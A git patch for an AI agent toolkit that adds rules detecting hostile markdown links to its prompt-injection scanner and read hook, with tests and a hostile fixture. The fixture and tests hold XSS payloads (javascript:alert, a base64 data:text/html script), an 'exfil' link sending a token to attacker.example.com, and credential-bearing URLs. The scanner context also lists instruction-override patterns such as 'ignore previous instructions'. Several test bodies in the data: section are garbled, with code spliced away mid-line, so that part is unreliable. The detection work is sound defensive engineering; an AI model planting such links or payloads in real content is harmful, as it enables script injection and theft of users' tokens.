From e32a53b9744695b99d2428014587a0c30371fc69 Mon Sep 17 00:00:00 2001
From: Tom Boucher <trekkie@nomorestars.com>
Date: Sat, 23 May 2026 10:15:03 -0400
Subject: [PATCH] feat(113): detect javascript:/data:/userinfo/token-in-query
 in markdown links (#133)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

* test(113): add per-rule failing tests + hostile fixture for markdown link payloads

RED phase for issue #113 — scanForInjection() currently returns { clean: true }
for markdown links containing javascript:, data:text/html, userinfo credentials,
and token-in-query payloads.

Changes:
- tests/fixtures/adversarial/security/context-malicious-markdown-link.md:
  Extended to contain one hostile example per rule class (MD-LINK-JS-SCHEME,
  MD-LINK-DATA-SCHEME, MD-LINK-USERINFO, MD-LINK-TOKEN-IN-QUERY) plus benign
  negative controls (data:image/png, mailto:, https://github.com, port-only URL).
- tests/security-prompt-injection.test.cjs:
  - Flipped PINNED "malicious-markdown-link fixture is NOT flagged" assertion
    to "malicious-markdown-link fixture is flagged by scanner" (forward-looking).
  - Added 4×positive + 4×negative per-rule unit tests asserting structuredFindings
    with ruleId, file, line, match fields.
  - Added parity guard: every MARKDOWN_LINK_PATTERNS source string from
    security.cjs must appear in gsd-read-injection-scanner.js hook source.

D3 false-positive grep: 0 legitimate matches — no allowlist entries needed.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* feat(113): detect javascript:/data:/userinfo/token-in-query in markdown links (security.cjs + hook)

GREEN phase for issue #113.

Rule details (all with primary source citations):

  MD-LINK-JS-SCHEME
    Flags ](javascript:...) regardless of case.
    Source: OWASP XSS Prevention Cheat Sheet
    https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

  MD-LINK-DATA-SCHEME
    Flags data: URIs NOT in the explicit safe-list.
    Safe-list: image/(png|jpeg|gif|webp|bmp|ico|avif|heic) and font/(woff2?|otf|ttf).
    data:image/svg+xml is intentionally BLOCKED — SVG can host <script>.
    Source: OWASP File Upload Cheat Sheet — SVG Files
    https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html#svg-files

  MD-LINK-USERINFO
    Flags https?://user:pass@host in markdown link targets.
    Does NOT fire on: mailto:user@host (no :// before user) or https://host:443/path (port, not userinfo).
    Source: RFC 3986 §3.2.1 (userinfo syntax)
    https://www.rfc-editor.org/rfc/rfc3986#section-3.2.1
    RFC 9110 §4.2.4 (HTTP deprecates userinfo)
    https://www.rfc-editor.org/rfc/rfc9110#section-4.2.4

  MD-LINK-TOKEN-IN-QUERY
    Flags key NAMES: token, access_token, id_token, refresh_token, api_key, apikey,
    secret, password, client_secret, code — regardless of value.
    Source: RFC 9700 OAuth 2.0 Security BCP §4.3.1
    https://www.rfc-editor.org/rfc/rfc9700#section-4.3.1
    D3 false-positive grep: 0 legitimate matches in codebase — no allowlist needed.

Architecture:
- scripts/security.cjs: canonical MARKDOWN_LINK_PATTERNS export, scanForInjection()
  extended with structuredFindings (ruleId, file, line, match) via opts.file.
- hooks/gsd-read-injection-scanner.js: patterns inlined for hook independence
  (same pattern sources, verified by parity test).

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* test(113): flip PINNED malicious-markdown-link assertion and add parity guard

REFACTOR phase — tightening test rigor after test-rigor skill review:

1. Fixture assertion now enumerates all 4 expected ruleIds explicitly:
   [MD-LINK-JS-SCHEME, MD-LINK-DATA-SCHEME, MD-LINK-USERINFO, MD-LINK-TOKEN-IN-QUERY].
   Previously findings.length > 0 would pass even if 3 of 4 rules were broken.

2. line field assertions tightened: `f.line >= 1` (meaningful lower bound for
   1-based line numbers) instead of `typeof f.line === 'number'` (vacuous).

3. match field assertions tightened to check the hostile content is present:
   - MD-LINK-JS-SCHEME: /javascript:/i in match
   - MD-LINK-DATA-SCHEME: /data:/i in match
   - MD-LINK-USERINFO: /@/ in match (the @ character is the definitive userinfo marker)
   - MD-LINK-TOKEN-IN-QUERY: /token=/i in match

4. Parity test checks actual RegExp .source strings (not just lengths), verifying
   the hook contains the exact canonical pattern sources character-for-character.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* fix(#113): add changeset fragment + Windows/Node 24 state.test compatibility

1. .changeset/113-malicious-markdown-links.md — required Security fragment
   for the user-facing markdown-link scanner changes in this PR (changeset-lint
   was failing with FAIL_MISSING_FRAGMENT).

2. get-shit-done/bin/lib/state-command-router.cjs — add OUTPUT_ON_SDK_ERROR
   set for mutation state subcommands whose CJS contract is always exit-0.
   On Windows/Node 24 the SDK bridge returns result.ok===false for validation
   failures (e.g. state record-metric --phase 1 with no --plan/--duration),
   causing dispatchViaSdk() to call error() (exit 1) instead of output({error})
   (exit 0). The fix maps SDK non-ok results to JSON output for the affected
   mutation commands (record-metric, advance-plan, record-session, add-decision,
   add-blocker, resolve-blocker, update-progress), restoring the exit-0 CJS
   contract on all platforms.

tests/state.test.cjs:1161 "returns error when required fields missing" passes
locally (104/104 pass).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
---
 .changeset/113-malicious-markdown-links.md    |   5 +
 get-shit-done/bin/lib/security.cjs            | 108 +++++++-
 .../bin/lib/state-command-router.cjs          |  29 ++
 hooks/gsd-read-injection-scanner.js           |  51 ++++
 .../context-malicious-markdown-link.md        |  32 ++-
 tests/security-prompt-injection.test.cjs      | 250 ++++++++++++++++--
 6 files changed, 446 insertions(+), 29 deletions(-)
 create mode 100644 .changeset/113-malicious-markdown-links.md

diff --git a/.changeset/113-malicious-markdown-links.md b/.changeset/113-malicious-markdown-links.md
new file mode 100644
index 000000000..88e553a72
--- /dev/null
+++ b/.changeset/113-malicious-markdown-links.md
@@ -0,0 +1,5 @@
+---
+type: Security
+pr: 113
+---
+**Scanner now detects malicious markdown link schemes** — `scanForInjection()` previously passed markdown links containing `javascript:`, `data:` (non-image/font), `https://user:pass@host` userinfo credentials, and sensitive query-string key names (`token=`, `api_key=`, etc.) as clean. Four new rules (`MD-LINK-JS-SCHEME`, `MD-LINK-DATA-SCHEME`, `MD-LINK-USERINFO`, `MD-LINK-TOKEN-IN-QUERY`) now flag these patterns in both the scanner and the `gsd-read-injection-scanner.js` hook. The `data:` safe-list permits image and font MIME types; `data:image/svg+xml` is intentionally blocked because SVG can host inline scripts.
diff --git a/get-shit-done/bin/lib/security.cjs b/get-shit-done/bin/lib/security.cjs
index 48b0f0c6c..be64ce549 100644
--- a/get-shit-done/bin/lib/security.cjs
+++ b/get-shit-done/bin/lib/security.cjs
@@ -152,6 +152,76 @@ const INJECTION_PATTERNS = [
   /(?:run|execute|call|invoke)\s+(?:the\s+)?(?:bash|shell|exec|spawn)\s+(?:tool|command)/i,
 ];
 
+/**
+ * Patterns that flag hostile markdown link targets.
+ *
+ * These address browser-side and agent-side risks when GSD plan files containing
+ * markdown links are rendered or consumed by agents:
+ *
+ *  MD-LINK-JS-SCHEME — javascript: URI in link target.
+ *    Source: OWASP Cross-Site Scripting Prevention Cheat Sheet
+ *    https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
+ *
+ *  MD-LINK-DATA-SCHEME — data: URI that is NOT in the explicit safe-list.
+ *    Safe-list: image/(png|jpeg|gif|webp|bmp|ico|avif|heic) and font/(woff2?|otf|ttf).
+ *    data:image/svg+xml is UNSAFE — SVG can host <script> tags.
+ *    Source: OWASP File Upload Cheat Sheet — SVG Files
+ *    https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html#svg-files
+ *
+ *  MD-LINK-USERINFO — https?://user:pass@host (RFC 3986 userinfo in HTTP(S) URL).
+ *    Source: RFC 3986 §3.2.1 (userinfo syntax)
+ *    https://www.rfc-editor.org/rfc/rfc3986#section-3.2.1
+ *    RFC 9110 §4.2.4 (HTTP deprecates userinfo in request URIs)
+ *    https://www.rfc-editor.org/rfc/rfc9110#section-4.2.4
+ *    Must NOT fire on: mailto:user@host (no : before @), https://host:443/path (port, not userinfo).
+ *
+ *  MD-LINK-TOKEN-IN-QUERY — sensitive key name in query string regardless of value.
+ *    Source: RFC 9700 OAuth 2.0 Security BCP §4.3.1
+ *    https://www.rfc-editor.org/rfc/rfc9700#section-4.3.1
+ *    "tokens MUST NOT be passed in URI query parameters"
+ *
+ * Each entry: { pattern: RegExp, ruleId: string }
+ */
+
+// Explicit safe-list for data: MIME types that are benign in link targets.
+// Note: image/svg+xml is intentionally NOT in this list (SVG can host <script>).
+const DATA_URI_SAFE_MIME_RE = /^data:(image\/(png|jpe?g|gif|webp|bmp|ico|avif|heic)|font\/(woff2?|otf|ttf))(;[^,]*)?,/i;
+
+const MARKDOWN_LINK_PATTERNS = [
+  {
+    // MD-LINK-JS-SCHEME: javascript: URI in markdown link target
+    // Matches [text](javascript:...) — case-insensitive
+    pattern: /\]\(\s*javascript:/i,
+    ruleId: 'MD-LINK-JS-SCHEME',
+  },
+  {
+    // MD-LINK-DATA-SCHEME: data: URI not in safe-list
+    // Checked via custom function (safe-list requires lookahead beyond a simple regex)
+    pattern: /\]\(\s*data:/i,
+    ruleId: 'MD-LINK-DATA-SCHEME',
+    safePredicate: (line) => {
+      // Extract the data: URI from the markdown link target
+      const m = line.match(/\]\(\s*(data:[^)]*)/i);
+      if (!m) return false; // pattern matched but no URI found — flag it
+      return DATA_URI_SAFE_MIME_RE.test(m[1]);
+    },
+  },
+  {
+    // MD-LINK-USERINFO: https?://user:pass@host in markdown link target
+    // Flags ://anything:anything@  — must have a colon+non-slash before the @
+    // Does NOT match mailto:user@host (mailto has no :// before the user part)
+    // Does NOT match https://host:443/path (port has no @ after the colon)
+    pattern: /\]\(\s*https?:\/\/[^/\s]+:[^/@\s]+@/i,
+    ruleId: 'MD-LINK-USERINFO',
+  },
+  {
+    // MD-LINK-TOKEN-IN-QUERY: sensitive parameter key in query string
+    // Fires on key NAME regardless of value, per RFC 9700 §4.3.1
+    pattern: /[?&](token|access_token|id_token|refresh_token|api_key|apikey|secret|password|client_secret|code)=/i,
+    ruleId: 'MD-LINK-TOKEN-IN-QUERY',
+  },
+];
+
 /**
  * Layer 2: Encoding-obfuscation patterns with custom finding messages.
  * Each entry: { pattern: RegExp, message: string }
@@ -178,14 +248,16 @@ const OBFUSCATION_PATTERN_ENTRIES = [
  * @param {string} text - The text to scan
  * @param {object} [opts] - Options
  * @param {boolean} [opts.strict=false] - Enable stricter matching (more false positives)
- * @returns {{ clean: boolean, findings: string[] }}
+ * @param {string} [opts.file] - Optional file path for structured finding context
+ * @returns {{ clean: boolean, findings: string[], structuredFindings: Array<{ruleId: string, file: string|undefined, line: number, match: string}> }}
  */
 function scanForInjection(text, opts = {}) {
   if (!text || typeof text !== 'string') {
-    return { clean: true, findings: [] };
+    return { clean: true, findings: [], structuredFindings: [] };
   }
 
   const findings = [];
+  const structuredFindings = [];
 
   for (const pattern of INJECTION_PATTERNS) {
     if (pattern.test(text)) {
@@ -200,6 +272,29 @@ function scanForInjection(text, opts = {}) {
     }
   }
 
+  // Layer 5: Markdown link patterns (issue #113)
+  // Scans line-by-line to provide file+line context in structured findings.
+  const lines = text.split('\n');
+  for (const entry of MARKDOWN_LINK_PATTERNS) {
+    for (let i = 0; i < lines.length; i++) {
+      const line = lines[i];
+      const m = line.match(entry.pattern);
+      if (!m) continue;
+
+      // If the entry has a safePredicate, skip flagging when the predicate returns true
+      if (entry.safePredicate && entry.safePredicate(line)) continue;
+
+      const matchText = m[0];
+      findings.push(`Matched markdown link pattern [${entry.ruleId}]: ${matchText}`);
+      structuredFindings.push({
+        ruleId: entry.ruleId,
+        file: opts.file,
+        line: i + 1, // 1-based line number
+        match: matchText,
+      });
+    }
+  }
+
   if (opts.strict) {
     // Check for suspicious Unicode that could hide instructions
     // (zero-width chars, RTL override, homoglyph attacks)
@@ -207,21 +302,21 @@ function scanForInjection(text, opts = {}) {
       findings.push('Contains suspicious zero-width or invisible Unicode characters');
     }
 
-    // Layer 1: Unicode tag block U+E0000–U+E007F (2025 supply-chain attack vector)
+    // Layer 1: Unicode tag block U+E0000\u2013E007F (2025 supply-chain attack vector)
     // These characters are invisible and can embed hidden instructions
     if (/[\uDB40\uDC00-\uDB40\uDC7F]/u.test(text) || /[\u{E0000}-\u{E007F}]/u.test(text)) {
-      findings.push('Contains Unicode tag block characters (U+E0000–E007F) — invisible instruction injection vector');
+      findings.push('Contains Unicode tag block characters (U+E0000\u2013E007F) \u2014 invisible instruction injection vector');
     }
 
     // Check for extremely long strings that could be prompt stuffing.
-    // Normalize CRLF → LF before measuring so Windows checkouts don't inflate the count.
+    // Normalize CRLF \u2192 LF before measuring so Windows checkouts don't inflate the count.
     const normalizedLength = text.replace(/\r\n/g, '\n').replace(/\r/g, '\n').length;
     if (normalizedLength > 50000) {
       findings.push(`Suspicious text length: ${normalizedLength} chars (potential prompt stuffing)`);
     }
   }
 
-  return { clean: findings.length === 0, findings };
+  return { clean: findings.length === 0, findings, structuredFindings };
 }
 
 /**
@@ -482,6 +577,7 @@ module.exports = {
 
   // Prompt injection
   INJECTION_PATTERNS,
+  MARKDOWN_LINK_PATTERNS,
   scanForInjection,
   sanitizeForPrompt,
   sanitizeForDisplay,
diff --git a/get-shit-done/bin/lib/state-command-router.cjs b/get-shit-done/bin/lib/state-command-router.cjs
index caca7376d..971b25b76 100644
--- a/get-shit-done/bin/lib/state-command-router.cjs
+++ b/get-shit-done/bin/lib/state-command-router.cjs
@@ -19,6 +19,22 @@ const {
 const EXIT_ON_STATE_MD_MISSING = new Set(['state.get']);
 const STATE_MD_MISSING_MESSAGE = 'STATE.md not found';
 
+// Subcommands whose CJS contract is always exit-0 — they emit
+// { error: '...' } JSON via output() for every failure case (missing STATE.md,
+// missing required args, validation failures).  When the SDK returns
+// result.ok === false for these subcommands we must NOT call error() (exit 1);
+// instead we surface the SDK error message as exit-0 JSON so callers can
+// JSON.parse the response and branch on the error field.
+const OUTPUT_ON_SDK_ERROR = new Set([
+  'state.record-metric',
+  'state.advance-plan',
+  'state.record-session',
+  'state.add-decision',
+  'state.add-blocker',
+  'state.resolve-blocker',
+  'state.update-progress',
+]);
+
 // The bridge loader verifies both `executeForCjs` and `formatStateLoadRawStdout`
 // are present before returning success, so this router can call `tryLoadSdk()`
 // directly without an additional capability check.
@@ -62,6 +78,19 @@ function dispatchViaSdk(registryCommand, registryArgs, legacyArgs, cwd, raw, err
   });
 
   if (!result.ok) {
+    // Mutation subcommands whose CJS contract is always exit-0: surface the SDK
+    // error as JSON output (exit 0) rather than calling error() (exit 1).  This
+    // preserves the CJS contract for callers that JSON.parse stdout and branch on
+    // the error field — particularly important on Windows/Node 24 where the SDK
+    // bridge returns result.ok===false for validation failures (e.g. missing
+    // required args) instead of propagating them as result.data.error objects.
+    if (OUTPUT_ON_SDK_ERROR.has(registryCommand)) {
+      const msg = result.errorDetails && result.errorDetails.message
+        ? result.errorDetails.message
+        : `state ${registryCommand} failed (${result.errorKind})`;
+      output({ error: msg });
+      return true;
+    }
     error(result.errorDetails && result.errorDetails.message
       ? result.errorDetails.message
       : `state ${registryCommand} failed (${result.errorKind})`);
diff --git a/hooks/gsd-read-injection-scanner.js b/hooks/gsd-read-injection-scanner.js
index 80f9e30b0..f720e9060 100644
--- a/hooks/gsd-read-injection-scanner.js
+++ b/hooks/gsd-read-injection-scanner.js
@@ -27,6 +27,45 @@ const SUMMARISATION_PATTERNS = [
   /(?:retain|keep)\s+(?:this|these)\s+(?:in|through|after)\s+(?:summar|compress|compact)/i,
 ];
 
+// Markdown link patterns — mirrors scripts/security.cjs MARKDOWN_LINK_PATTERNS, inlined for hook independence.
+// Issue #113: detect javascript:, data: (non-safe-list), userinfo credentials, and token-in-query.
+//
+// Sources:
+//   MD-LINK-JS-SCHEME: OWASP XSS Prevention
+//     https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
+//   MD-LINK-DATA-SCHEME: OWASP File Upload (SVG unsafe)
+//     https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html#svg-files
+//   MD-LINK-USERINFO: RFC 3986 §3.2.1, RFC 9110 §4.2.4
+//     https://www.rfc-editor.org/rfc/rfc3986#section-3.2.1
+//     https://www.rfc-editor.org/rfc/rfc9110#section-4.2.4
+//   MD-LINK-TOKEN-IN-QUERY: RFC 9700 §4.3.1
+//     https://www.rfc-editor.org/rfc/rfc9700#section-4.3.1
+const DATA_URI_SAFE_MIME_RE = /^data:(image\/(png|jpe?g|gif|webp|bmp|ico|avif|heic)|font\/(woff2?|otf|ttf))(;[^,]*)?,/i;
+
+const MARKDOWN_LINK_PATTERNS = [
+  {
+    pattern: /\]\(\s*javascript:/i,
+    ruleId: 'MD-LINK-JS-SCHEME',
+  },
+  {
+    pattern: /\]\(\s*data:/i,
+    ruleId: 'MD-LINK-DATA-SCHEME',
+    safePredicate: (line) => {
+      const m = line.match(/\]\(\s*(data:[^)]*)/i);
+      if (!m) return false;
+      return DATA_URI_SAFE_MIME_RE.test(m[1]);
+    },
+  },
+  {
+    pattern: /\]\(\s*https?:\/\/[^/\s]+:[^/@\s]+@/i,
+    ruleId: 'MD-LINK-USERINFO',
+  },
+  {
+    pattern: /[?&](token|access_token|id_token|refresh_token|api_key|apikey|secret|password|client_secret|code)=/i,
+    ruleId: 'MD-LINK-TOKEN-IN-QUERY',
+  },
+];
+
 // Standard injection patterns — mirrors gsd-prompt-guard.js, inlined for hook independence.
 const INJECTION_PATTERNS = [
   /ignore\s+(all\s+)?previous\s+instructions/i,
@@ -109,6 +148,18 @@ process.stdin.on('end', () => {
       }
     }
 
+    // Markdown link patterns (issue #113)
+    const lines = content.split('\n');
+    for (const entry of MARKDOWN_LINK_PATTERNS) {
+      for (let i = 0; i < lines.length; i++) {
+        const line = lines[i];
+        const m = line.match(entry.pattern);
+        if (!m) continue;
+        if (entry.safePredicate && entry.safePredicate(line)) continue;
+        findings.push(`${entry.ruleId}:${m[0].substring(0, 40)}`);
+      }
+    }
+
     // Invisible Unicode (zero-width, RTL override, soft hyphen, BOM)
     if (/[\u200B-\u200F\u2028-\u202F\uFEFF\u00AD\u2060-\u2069]/.test(content)) {
       findings.push('invisible-unicode');
diff --git a/tests/fixtures/adversarial/security/context-malicious-markdown-link.md b/tests/fixtures/adversarial/security/context-malicious-markdown-link.md
index f5ee9e8a1..b8615dd04 100644
--- a/tests/fixtures/adversarial/security/context-malicious-markdown-link.md
+++ b/tests/fixtures/adversarial/security/context-malicious-markdown-link.md
@@ -1,11 +1,31 @@
 # Context
 
-A perfectly normal document with a couple of hostile links:
+A perfectly normal document with hostile links (one per rule class) and benign controls.
 
+## Hostile links (must be flagged)
+
+<!-- MD-LINK-JS-SCHEME: javascript: URI in link target -->
 - [click here](javascript:alert('xss'))
-- [download](data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=)
-- [credentials](https://user:ghp_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@example.com)
-- [exfil](https://attacker.example.com/?token=$GITHUB_TOKEN)
 
-None of these should auto-execute or be promoted to agent instructions
-just because they appear in a plan markdown file.
+<!-- MD-LINK-DATA-SCHEME: data: text/html URI (not in safe-list) -->
+- [download](data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=)
+
+<!-- MD-LINK-USERINFO: credentials embedded in URL authority -->
+- [credentials](https://user:ghp_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@example.com)
+
+<!-- MD-LINK-TOKEN-IN-QUERY: sensitive key in query string -->
+- [exfil](https://attacker.example.com/?token=leaked_value)
+
+## Benign controls (must NOT be flagged)
+
+<!-- safe data: image — allowed by safe-list -->
+- ![logo]()
+
+<!-- mailto: — no userinfo colon-before-at pattern -->
+- [email](mailto:user@example.com)
+
+<!-- normal https link with no sensitive query keys -->
+- [repo](https://github.com/owner/repo)
+
+<!-- port-in-URL (host:port, not userinfo) -->
+- [service](https://example.com:8443/path)
diff --git a/tests/security-prompt-injection.test.cjs b/tests/security-prompt-injection.test.cjs
index fc7e63bbe..1211b4e85 100644
--- a/tests/security-prompt-injection.test.cjs
+++ b/tests/security-prompt-injection.test.cjs
@@ -580,25 +580,22 @@ describe('scanForInjection: fixture files trip the scanner', () => {
     });
   }
 
-  test('PINNED: malicious-markdown-link fixture is NOT flagged by current scanner', () => {
-    // The INJECTION_PATTERNS set in security.cjs targets instruction
-    // override, role manipulation, system-prompt extraction, fake
-    // boundary tags, and base64/exfil verbs. It does NOT flag link
-    // payloads such as javascript:/data:/embedded-credentials URLs.
-    //
-    // This is a deliberate scope decision (link analysis belongs to
-    // a renderer / link-policy module, not the prompt-injection
-    // scanner) — but the issue #3596 acceptance list calls out
-    // "malicious markdown links" so we PIN the current behavior
-    // here. Negative proof: a fixture composed entirely of hostile
-    // links is reported `clean: true`. If a future change extends
-    // the scanner to catch these patterns, this assertion will fail
-    // and force a deliberate update to the acceptance map.
+  test('malicious-markdown-link fixture is flagged by scanner — all 4 rule IDs fire', () => {
+    // Issue #113: scanForInjection must detect hostile markdown link payloads.
+    // The fixture contains one hostile example per rule class (MD-LINK-JS-SCHEME,
+    // MD-LINK-DATA-SCHEME, MD-LINK-USERINFO, MD-LINK-TOKEN-IN-QUERY) and benign
+    // negative controls (data:image/png, mailto:, normal https, port-only URL).
+    // Each rule ID must appear in structuredFindings; benign lines must not add extras.
     const content = fs.readFileSync(
       path.join(FIXTURE_DIR, 'context-malicious-markdown-link.md'), 'utf-8');
-    const result = scanForInjection(content);
-    assert.strictEqual(result.clean, true,
-      'malicious link patterns are currently out of scope for scanForInjection (PINNED)');
+    const result = scanForInjection(content, { file: 'context-malicious-markdown-link.md' });
+    assert.strictEqual(result.clean, false,
+      'fixture with hostile markdown links must be reported unclean');
+    const ruleIds = (result.structuredFindings || []).map(f => f.ruleId);
+    for (const expected of ['MD-LINK-JS-SCHEME', 'MD-LINK-DATA-SCHEME', 'MD-LINK-USERINFO', 'MD-LINK-TOKEN-IN-QUERY']) {
+      assert.ok(ruleIds.includes(expected),
+        `fixture must trigger ${expected}; found: [${ruleIds.join(', ')}]`);
+    }
   });
 
   test('strict-mode invisible-unicode fixture is detected', () => {
@@ -650,6 +647,225 @@ describe('validatePath: hostile path values are rejected before write', () => {
   });
 });
 
+// ─── scanForInjection: markdown link rules (issue #113) ─────────────────────
+//
+// Per-rule positive and negative tests for the four MARKDOWN_LINK_PATTERNS
+// added in #113. Each rule fires on a targeted positive case and stays silent
+// on the benign negative controls below.
+
+const {
+  MARKDOWN_LINK_PATTERNS,
+} = require('../get-shit-done/bin/lib/security.cjs');
+
+describe('scanForInjection: MD-LINK-JS-SCHEME (javascript: URI)', () => {
+  // Source: OWASP Cross-Site Scripting Prevention Cheat Sheet
+  // https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
+  test('positive: javascript: link target is flagged', () => {
+    const text = "[click](javascript:alert('xss'))";
+    const result = scanForInjection(text, { file: 'test.md' });
+    assert.strictEqual(result.clean, false, 'javascript: link must be flagged');
+    assert.ok(
+      Array.isArray(result.structuredFindings) && result.structuredFindings.length > 0,
+      'structuredFindings must be populated',
+    );
+    const f = result.structuredFindings.find(sf => sf.ruleId === 'MD-LINK-JS-SCHEME');
+    assert.ok(f, 'finding must carry ruleId MD-LINK-JS-SCHEME');
+    assert.strictEqual(f.file, 'test.md', 'finding must carry file context');
+    assert.ok(typeof f.line === 'number' && f.line >= 1, 'finding must carry 1-based line number');
+    assert.ok(typeof f.match === 'string' && /javascript:/i.test(f.match),
+      `finding match must include the hostile scheme; got: ${f.match}`);
+  });
+
+  test('positive: javascript: with case variations', () => {
+    const result = scanForInjection('[x](JavaScript:void(0))');
+    assert.strictEqual(result.clean, false, 'case-insensitive javascript: must be flagged');
+  });
+
+  test('negative: https: link is not flagged as JS scheme', () => {
+    const result = scanForInjection('[repo](https://github.com/owner/repo)');
+    assert.ok(
+      !Array.isArray(result.structuredFindings) ||
+      !result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-JS-SCHEME'),
+      'https: link must not trigger MD-LINK-JS-SCHEME',
+    );
+  });
+
+  test('negative: mailto: link is not flagged as JS scheme', () => {
+    const result = scanForInjection('[email](mailto:user@example.com)');
+    assert.ok(
+      !Array.isArray(result.structuredFindings) ||
+      !result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-JS-SCHEME'),
+      'mailto: link must not trigger MD-LINK-JS-SCHEME',
+    );
+  });
+});
+
+describe('scanForInjection: MD-LINK-DATA-SCHEME (data: non-image/font URI)', () => {
+  // Source: OWASP File Upload Cheat Sheet — SVG Files
+  // https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html#svg-files
+  // )';
+    const result = scanForInjection(text, { file: 'plan.md' });
+    assert.strictEqual(result.clean, false, 'data:text/html must be flagged');
+    const f = result.structuredFindings && result.structuredFindings.find(sf => sf.ruleId === 'MD-LINK-DATA-SCHEME');
+    assert.ok(f, 'finding must carry ruleId MD-LINK-DATA-SCHEME');
+    assert.strictEqual(f.file, 'plan.md');
+    assert.ok(typeof f.line === 'number' && f.line >= 1, 'finding must carry 1-based line number');
+    assert.ok(typeof f.match === 'string' && /data:/i.test(f.match),
+      `finding match must include the hostile data: scheme; got: ${f.match}`);
+  });
+
+  test('positive: data:application/javascript is flagged', () => {
+    const result = scanForInjection('[x](data:application/javascript,alert(1))');
+    assert.strictEqual(result.clean, false);
+    assert.ok(
+      result.structuredFindings && result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-DATA-SCHEME'),
+    );
+  });
+
+  test('positive: )');
+    assert.strictEqual(result.clean, false, 'data:image/svg+xml must be flagged per OWASP');
+    assert.ok(
+      result.structuredFindings && result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-DATA-SCHEME'),
+    );
+  });
+
+  test('negative: )');
+    assert.ok(
+      !Array.isArray(result.structuredFindings) ||
+      !result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-DATA-SCHEME'),
+      'data:image/png must not trigger MD-LINK-DATA-SCHEME',
+    );
+  });
+
+  test('negative: data:font/woff2 is NOT flagged (safe-list)', () => {
+    const result = scanForInjection('[f](data:font/woff2;base64,AAAA=)');
+    assert.ok(
+      !Array.isArray(result.structuredFindings) ||
+      !result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-DATA-SCHEME'),
+      'data:font/woff2 must not trigger MD-LINK-DATA-SCHEME',
+    );
+  });
+});
+
+describe('scanForInjection: MD-LINK-USERINFO (embedded credentials in URL)', () => {
+  // Source:
+  //   RFC 3986 §3.2.1 — userinfo syntax
+  //   https://www.rfc-editor.org/rfc/rfc3986#section-3.2.1
+  //   RFC 9110 §4.2.4 — HTTP deprecates userinfo
+  //   https://www.rfc-editor.org/rfc/rfc9110#section-4.2.4
+  test('positive: https://user:pass@host is flagged', () => {
+    const text = '[creds](https://user:secret@example.com/path)';
+    const result = scanForInjection(text, { file: 'doc.md' });
+    assert.strictEqual(result.clean, false, 'userinfo in URL must be flagged');
+    const f = result.structuredFindings && result.structuredFindings.find(sf => sf.ruleId === 'MD-LINK-USERINFO');
+    assert.ok(f, 'finding must carry ruleId MD-LINK-USERINFO');
+    assert.strictEqual(f.file, 'doc.md');
+    assert.ok(typeof f.line === 'number' && f.line >= 1, 'finding must carry 1-based line number');
+    assert.ok(typeof f.match === 'string' && /@/.test(f.match),
+      `finding match must include the @ character from userinfo; got: ${f.match}`);
+  });
+
+  test('positive: http://admin:pw@192.168.1.1 is flagged', () => {
+    const result = scanForInjection('[router](http://admin:password123@192.168.1.1/)');
+    assert.strictEqual(result.clean, false);
+    assert.ok(
+      result.structuredFindings && result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-USERINFO'),
+    );
+  });
+
+  test('negative: mailto:user@host is NOT flagged (no colon before @)', () => {
+    const result = scanForInjection('[email](mailto:user@example.com)');
+    assert.ok(
+      !Array.isArray(result.structuredFindings) ||
+      !result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-USERINFO'),
+      'mailto: must not trigger MD-LINK-USERINFO',
+    );
+  });
+
+  test('negative: https://host:443/path is NOT flagged (port, not userinfo)', () => {
+    const result = scanForInjection('[service](https://example.com:8443/path)');
+    assert.ok(
+      !Array.isArray(result.structuredFindings) ||
+      !result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-USERINFO'),
+      'port-only URL must not trigger MD-LINK-USERINFO',
+    );
+  });
+});
+
+describe('scanForInjection: MD-LINK-TOKEN-IN-QUERY (sensitive key in query string)', () => {
+  // Source: RFC 9700 OAuth 2.0 Security BCP §4.3.1
+  // https://www.rfc-editor.org/rfc/rfc9700#section-4.3.1
+  // "tokens MUST NOT be passed in URI query parameters"
+  test('positive: ?token= in link target is flagged', () => {
+    const text = '[exfil](https://attacker.example.com/?token=leaked_value)';
+    const result = scanForInjection(text, { file: 'plan.md' });
+    assert.strictEqual(result.clean, false, '?token= must be flagged');
+    const f = result.structuredFindings && result.structuredFindings.find(sf => sf.ruleId === 'MD-LINK-TOKEN-IN-QUERY');
+    assert.ok(f, 'finding must carry ruleId MD-LINK-TOKEN-IN-QUERY');
+    assert.strictEqual(f.file, 'plan.md');
+    assert.ok(typeof f.line === 'number' && f.line >= 1, 'finding must carry 1-based line number');
+    assert.ok(typeof f.match === 'string' && /token=/i.test(f.match),
+      `finding match must include the sensitive key name; got: ${f.match}`);
+  });
+
+  test('positive: &access_token= is flagged', () => {
